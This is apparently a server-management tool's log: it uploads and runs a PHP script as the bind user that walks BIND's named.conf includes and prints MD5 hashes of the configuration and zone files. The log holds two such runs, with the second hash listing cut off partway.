MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:17:35: Establishing a connection
2026-04-30 16:17:35: 

PUT: /tmp/pkp308477

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:17:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp308477; rm /tmp/pkp308477'

2026-04-30 16:17:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:18:10: Establishing a connection
2026-04-30 16:18:10: 

PUT: /tmp/pkp669757

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:18:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp669757; rm /tmp/pkp669757'

2026-04-30 16:18:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
